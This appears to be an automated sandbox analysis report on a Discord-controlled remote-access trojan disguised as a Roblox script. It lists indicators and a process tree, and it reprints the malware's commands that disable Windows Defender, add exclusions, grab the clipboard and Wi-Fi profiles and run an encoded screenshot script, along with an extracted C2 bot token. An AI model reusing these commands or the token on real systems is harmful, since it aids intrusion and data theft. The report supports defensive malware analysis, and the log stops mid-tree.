discordrat | 99102d69babf9f72ab79ccb7fa3f3c3f33ff9963300c739557d3de7ec847b36d

Analysis

max time kernel
10s
max time network
46s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
24/05/2024, 23:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Robloxscript.exe
Size 6.0MB
Sample240524-3pgxwsfe29
SHA256 99102d69babf9f72ab79ccb7fa3f3c3f33ff9963300c739557d3de7ec847b36d
MD5 1647c032f8e2c490936d578ae193e799
SHA1 a3c57bc5a1021bd1f34eb3f307208b189c8fd9d4
SHA512 355cd1e95be9c4bfba6302246e25a4de78e63945261724be54faa1fdd05604614e62eb50cef0dd9b4856074f6ffb7c91c9f3851475c564ddf2fae9fc5c3437b9
SSDEEP 98304:Ur+yFEtdFBgfamaHl3Ne4i3gmtfXJOLhx9fZAzDJ4wzQgsRuGK4R4BMgUd3mszwF:Ur+PFheN/FJMIDJf0gsAGK4R4ug80F
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

discordrat execution persistence rat rootkit spyware stealer upx

Malware Config

Extracted

Family

discordrat

Attributes

discord_token
MTIzODY2NDMwNzM2NTkwODUyMQ.GDvhgA.XMPH7BZJagiRxu6AdE_1g9HRnMxqmrvHaYqdNA
server_id
1238663060147667046

Signatures

Discord RAT
A RAT written in C# using Discord as a C2.
stealer rootkit rat persistence discordrat

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2480	powershell.exe
2464	powershell.exe
756	powershell.exe
2620	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2320	bound.exe
3040	rar.exe

Loads dropped DLL 16 IoCs

pid	Process
1056	Robloxscript.exe
1056	Robloxscript.exe
1056	Robloxscript.exe
1056	Robloxscript.exe
1056	Robloxscript.exe
1056	Robloxscript.exe
1056	Robloxscript.exe
1056	Robloxscript.exe
1056	Robloxscript.exe
1056	Robloxscript.exe
1056	Robloxscript.exe
1056	Robloxscript.exe
1056	Robloxscript.exe
1056	Robloxscript.exe
1056	Robloxscript.exe
1056	Robloxscript.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 58 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000100000002a9f7-22.dat	upx
behavioral1/memory/1056-26-0x00007FFDA2BD0000-0x00007FFDA303E000-memory.dmp	upx
behavioral1/files/0x000100000002a9e9-28.dat	upx
behavioral1/files/0x000100000002a9f5-30.dat	upx
behavioral1/files/0x000100000002a9f4-34.dat	upx
behavioral1/files/0x000100000002a9f0-48.dat	upx
behavioral1/memory/1056-50-0x00007FFDBDD00000-0x00007FFDBDD0F000-memory.dmp	upx
behavioral1/memory/1056-49-0x00007FFDB76E0000-0x00007FFDB7704000-memory.dmp	upx
behavioral1/files/0x000100000002a9ef-47.dat	upx
behavioral1/files/0x000100000002a9ee-46.dat	upx
behavioral1/files/0x000100000002a9ed-45.dat	upx
behavioral1/files/0x000100000002a9ec-44.dat	upx
behavioral1/files/0x000100000002a9eb-43.dat	upx
behavioral1/files/0x000100000002a9ea-42.dat	upx
behavioral1/files/0x000200000002a9e8-41.dat	upx
behavioral1/files/0x000100000002a9fc-40.dat	upx
behavioral1/files/0x000100000002a9fb-39.dat	upx
behavioral1/files/0x000100000002a9fa-38.dat	upx
behavioral1/files/0x000100000002a9f6-35.dat	upx
behavioral1/memory/1056-56-0x00007FFDB76B0000-0x00007FFDB76DD000-memory.dmp	upx
behavioral1/memory/1056-60-0x00007FFDB7690000-0x00007FFDB76AF000-memory.dmp	upx
behavioral1/memory/1056-59-0x00007FFDBA600000-0x00007FFDBA619000-memory.dmp	upx
behavioral1/memory/1056-62-0x00007FFDB42A0000-0x00007FFDB4411000-memory.dmp	upx
behavioral1/memory/1056-64-0x00007FFDB7670000-0x00007FFDB7689000-memory.dmp	upx
behavioral1/memory/1056-66-0x00007FFDB7660000-0x00007FFDB766D000-memory.dmp	upx
behavioral1/memory/1056-72-0x00007FFDB3D50000-0x00007FFDB3E08000-memory.dmp	upx
behavioral1/memory/1056-73-0x00007FFDA2850000-0x00007FFDA2BC5000-memory.dmp	upx
behavioral1/memory/1056-71-0x00007FFDB7630000-0x00007FFDB765E000-memory.dmp	upx
behavioral1/memory/1056-70-0x00007FFDA2BD0000-0x00007FFDA303E000-memory.dmp	upx
behavioral1/memory/1056-75-0x00007FFDB7610000-0x00007FFDB7624000-memory.dmp	upx
behavioral1/memory/1056-79-0x00007FFDB7600000-0x00007FFDB760D000-memory.dmp	upx
behavioral1/memory/1056-77-0x00007FFDB76E0000-0x00007FFDB7704000-memory.dmp	upx
behavioral1/memory/1056-83-0x00007FFDB3C30000-0x00007FFDB3D48000-memory.dmp	upx
behavioral1/memory/1056-85-0x00007FFDB7690000-0x00007FFDB76AF000-memory.dmp	upx
behavioral1/memory/1056-92-0x00007FFDB42A0000-0x00007FFDB4411000-memory.dmp	upx
behavioral1/memory/1056-264-0x00007FFDB7670000-0x00007FFDB7689000-memory.dmp	upx
behavioral1/memory/1056-312-0x00007FFDB7690000-0x00007FFDB76AF000-memory.dmp	upx
behavioral1/memory/1056-323-0x00007FFDB3D50000-0x00007FFDB3E08000-memory.dmp	upx
behavioral1/memory/1056-322-0x00007FFDB7630000-0x00007FFDB765E000-memory.dmp	upx
behavioral1/memory/1056-313-0x00007FFDB42A0000-0x00007FFDB4411000-memory.dmp	upx
behavioral1/memory/1056-307-0x00007FFDA2BD0000-0x00007FFDA303E000-memory.dmp	upx
behavioral1/memory/1056-308-0x00007FFDB76E0000-0x00007FFDB7704000-memory.dmp	upx
behavioral1/memory/1056-318-0x00007FFDA2850000-0x00007FFDA2BC5000-memory.dmp	upx
behavioral1/memory/1056-343-0x00007FFDBA600000-0x00007FFDBA619000-memory.dmp	upx
behavioral1/memory/1056-349-0x00007FFDB3D50000-0x00007FFDB3E08000-memory.dmp	upx
behavioral1/memory/1056-348-0x00007FFDB7630000-0x00007FFDB765E000-memory.dmp	upx
behavioral1/memory/1056-347-0x00007FFDB7660000-0x00007FFDB766D000-memory.dmp	upx
behavioral1/memory/1056-346-0x00007FFDB7670000-0x00007FFDB7689000-memory.dmp	upx
behavioral1/memory/1056-345-0x00007FFDA2850000-0x00007FFDA2BC5000-memory.dmp	upx
behavioral1/memory/1056-344-0x00007FFDB42A0000-0x00007FFDB4411000-memory.dmp	upx
behavioral1/memory/1056-342-0x00007FFDB76B0000-0x00007FFDB76DD000-memory.dmp	upx
behavioral1/memory/1056-341-0x00007FFDBDD00000-0x00007FFDBDD0F000-memory.dmp	upx
behavioral1/memory/1056-340-0x00007FFDB76E0000-0x00007FFDB7704000-memory.dmp	upx
behavioral1/memory/1056-338-0x00007FFDB3C30000-0x00007FFDB3D48000-memory.dmp	upx
behavioral1/memory/1056-337-0x00007FFDB7600000-0x00007FFDB760D000-memory.dmp	upx
behavioral1/memory/1056-339-0x00007FFDB7690000-0x00007FFDB76AF000-memory.dmp	upx
behavioral1/memory/1056-336-0x00007FFDB7610000-0x00007FFDB7624000-memory.dmp	upx
behavioral1/memory/1056-324-0x00007FFDA2BD0000-0x00007FFDA303E000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
3	discord.com
6	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2708	WMIC.exe

Enumerates processes with tasklist 1 TTPs 3 IoCs

Process Discovery

T1057

pid	Process
1320	tasklist.exe
1452	tasklist.exe
4048	tasklist.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4460	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2464	powershell.exe
756	powershell.exe
4312	powershell.exe
4312	powershell.exe
2620	powershell.exe
2464	powershell.exe
2464	powershell.exe
756	powershell.exe
756	powershell.exe
2620	powershell.exe
2620	powershell.exe
3896	powershell.exe
3896	powershell.exe
2480	powershell.exe
2480	powershell.exe
3896	powershell.exe
2480	powershell.exe
4080	powershell.exe
4080	powershell.exe
4860	powershell.exe
4860	powershell.exe
3148	powershell.exe
3148	powershell.exe
2108	powershell.exe
2108	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2464	powershell.exe
Token: SeDebugPrivilege	4312	powershell.exe
Token: SeDebugPrivilege	756	powershell.exe
Token: SeDebugPrivilege	2620	powershell.exe
Token: SeDebugPrivilege	1452	tasklist.exe
Token: SeDebugPrivilege	1320	tasklist.exe
Token: SeDebugPrivilege	2320	bound.exe
Token: SeIncreaseQuotaPrivilege	1952	WMIC.exe
Token: SeSecurityPrivilege	1952	WMIC.exe
Token: SeTakeOwnershipPrivilege	1952	WMIC.exe
Token: SeLoadDriverPrivilege	1952	WMIC.exe
Token: SeSystemProfilePrivilege	1952	WMIC.exe
Token: SeSystemtimePrivilege	1952	WMIC.exe
Token: SeProfSingleProcessPrivilege	1952	WMIC.exe
Token: SeIncBasePriorityPrivilege	1952	WMIC.exe
Token: SeCreatePagefilePrivilege	1952	WMIC.exe
Token: SeBackupPrivilege	1952	WMIC.exe
Token: SeRestorePrivilege	1952	WMIC.exe
Token: SeShutdownPrivilege	1952	WMIC.exe
Token: SeDebugPrivilege	1952	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1952	WMIC.exe
Token: SeRemoteShutdownPrivilege	1952	WMIC.exe
Token: SeUndockPrivilege	1952	WMIC.exe
Token: SeManageVolumePrivilege	1952	WMIC.exe
Token: 33	1952	WMIC.exe
Token: 34	1952	WMIC.exe
Token: 35	1952	WMIC.exe
Token: 36	1952	WMIC.exe
Token: SeDebugPrivilege	4048	tasklist.exe
Token: SeIncreaseQuotaPrivilege	1952	WMIC.exe
Token: SeSecurityPrivilege	1952	WMIC.exe
Token: SeTakeOwnershipPrivilege	1952	WMIC.exe
Token: SeLoadDriverPrivilege	1952	WMIC.exe
Token: SeSystemProfilePrivilege	1952	WMIC.exe
Token: SeSystemtimePrivilege	1952	WMIC.exe
Token: SeProfSingleProcessPrivilege	1952	WMIC.exe
Token: SeIncBasePriorityPrivilege	1952	WMIC.exe
Token: SeCreatePagefilePrivilege	1952	WMIC.exe
Token: SeBackupPrivilege	1952	WMIC.exe
Token: SeRestorePrivilege	1952	WMIC.exe
Token: SeShutdownPrivilege	1952	WMIC.exe
Token: SeDebugPrivilege	1952	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1952	WMIC.exe
Token: SeRemoteShutdownPrivilege	1952	WMIC.exe
Token: SeUndockPrivilege	1952	WMIC.exe
Token: SeManageVolumePrivilege	1952	WMIC.exe
Token: 33	1952	WMIC.exe
Token: 34	1952	WMIC.exe
Token: 35	1952	WMIC.exe
Token: 36	1952	WMIC.exe
Token: SeDebugPrivilege	3896	powershell.exe
Token: SeDebugPrivilege	2480	powershell.exe
Token: SeDebugPrivilege	4080	powershell.exe
Token: SeDebugPrivilege	4860	powershell.exe
Token: SeIncreaseQuotaPrivilege	412	WMIC.exe
Token: SeSecurityPrivilege	412	WMIC.exe
Token: SeTakeOwnershipPrivilege	412	WMIC.exe
Token: SeLoadDriverPrivilege	412	WMIC.exe
Token: SeSystemProfilePrivilege	412	WMIC.exe
Token: SeSystemtimePrivilege	412	WMIC.exe
Token: SeProfSingleProcessPrivilege	412	WMIC.exe
Token: SeIncBasePriorityPrivilege	412	WMIC.exe
Token: SeCreatePagefilePrivilege	412	WMIC.exe
Token: SeBackupPrivilege	412	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 816 wrote to memory of 1056	816	Robloxscript.exe	77
PID 816 wrote to memory of 1056	816	Robloxscript.exe	77
PID 1056 wrote to memory of 400	1056	Robloxscript.exe	78
PID 1056 wrote to memory of 400	1056	Robloxscript.exe	78
PID 1056 wrote to memory of 1616	1056	Robloxscript.exe	79
PID 1056 wrote to memory of 1616	1056	Robloxscript.exe	79
PID 1056 wrote to memory of 3148	1056	Robloxscript.exe	80
PID 1056 wrote to memory of 3148	1056	Robloxscript.exe	80
PID 1056 wrote to memory of 72	1056	Robloxscript.exe	81
PID 1056 wrote to memory of 72	1056	Robloxscript.exe	81
PID 1056 wrote to memory of 780	1056	Robloxscript.exe	85
PID 1056 wrote to memory of 780	1056	Robloxscript.exe	85
PID 400 wrote to memory of 2464	400	cmd.exe	88
PID 400 wrote to memory of 2464	400	cmd.exe	88
PID 1616 wrote to memory of 4312	1616	cmd.exe	89
PID 1616 wrote to memory of 4312	1616	cmd.exe	89
PID 3148 wrote to memory of 756	3148	cmd.exe	90
PID 3148 wrote to memory of 756	3148	cmd.exe	90
PID 780 wrote to memory of 2620	780	cmd.exe	91
PID 780 wrote to memory of 2620	780	cmd.exe	91
PID 1056 wrote to memory of 4052	1056	Robloxscript.exe	92
PID 1056 wrote to memory of 4052	1056	Robloxscript.exe	92
PID 1056 wrote to memory of 2980	1056	Robloxscript.exe	93
PID 1056 wrote to memory of 2980	1056	Robloxscript.exe	93
PID 72 wrote to memory of 2320	72	cmd.exe	96
PID 72 wrote to memory of 2320	72	cmd.exe	96
PID 1056 wrote to memory of 4860	1056	Robloxscript.exe	144
PID 1056 wrote to memory of 4860	1056	Robloxscript.exe	144
PID 4052 wrote to memory of 1452	4052	cmd.exe	98
PID 4052 wrote to memory of 1452	4052	cmd.exe	98
PID 1056 wrote to memory of 4992	1056	Robloxscript.exe	99
PID 1056 wrote to memory of 4992	1056	Robloxscript.exe	99
PID 1056 wrote to memory of 4920	1056	Robloxscript.exe	101
PID 1056 wrote to memory of 4920	1056	Robloxscript.exe	101
PID 1056 wrote to memory of 1840	1056	Robloxscript.exe	104
PID 1056 wrote to memory of 1840	1056	Robloxscript.exe	104
PID 2980 wrote to memory of 1320	2980	cmd.exe	103
PID 2980 wrote to memory of 1320	2980	cmd.exe	103
PID 1056 wrote to memory of 2164	1056	Robloxscript.exe	105
PID 1056 wrote to memory of 2164	1056	Robloxscript.exe	105
PID 1056 wrote to memory of 4400	1056	Robloxscript.exe	107
PID 1056 wrote to memory of 4400	1056	Robloxscript.exe	107
PID 1056 wrote to memory of 2428	1056	Robloxscript.exe	110
PID 1056 wrote to memory of 2428	1056	Robloxscript.exe	110
PID 4860 wrote to memory of 1952	4860	cmd.exe	114
PID 4860 wrote to memory of 1952	4860	cmd.exe	114
PID 4920 wrote to memory of 4048	4920	cmd.exe	117
PID 4920 wrote to memory of 4048	4920	cmd.exe	117
PID 2164 wrote to memory of 4644	2164	cmd.exe	116
PID 2164 wrote to memory of 4644	2164	cmd.exe	116
PID 1840 wrote to memory of 332	1840	cmd.exe	118
PID 1840 wrote to memory of 332	1840	cmd.exe	118
PID 4992 wrote to memory of 3896	4992	cmd.exe	115
PID 4992 wrote to memory of 3896	4992	cmd.exe	115
PID 2428 wrote to memory of 2480	2428	cmd.exe	119
PID 2428 wrote to memory of 2480	2428	cmd.exe	119
PID 4400 wrote to memory of 4460	4400	cmd.exe	120
PID 4400 wrote to memory of 4460	4400	cmd.exe	120
PID 1056 wrote to memory of 764	1056	Robloxscript.exe	121
PID 1056 wrote to memory of 764	1056	Robloxscript.exe	121
PID 764 wrote to memory of 2452	764	cmd.exe	123
PID 764 wrote to memory of 2452	764	cmd.exe	123
PID 1056 wrote to memory of 4516	1056	Robloxscript.exe	124
PID 1056 wrote to memory of 4516	1056	Robloxscript.exe	124

C:\Users\Admin\AppData\Local\Temp\Robloxscript.exe
"C:\Users\Admin\AppData\Local\Temp\Robloxscript.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:816
- C:\Users\Admin\AppData\Local\Temp\Robloxscript.exe
  "C:\Users\Admin\AppData\Local\Temp\Robloxscript.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Robloxscript.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:400
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Robloxscript.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1616
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3148
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "start bound.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:72
  - - C:\Users\Admin\AppData\Local\Temp\bound.exe
      bound.exe
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:780
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4052
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2980
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4860
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4992
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4920
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1840
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      PID:332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2164
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4400
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:4460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2428
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
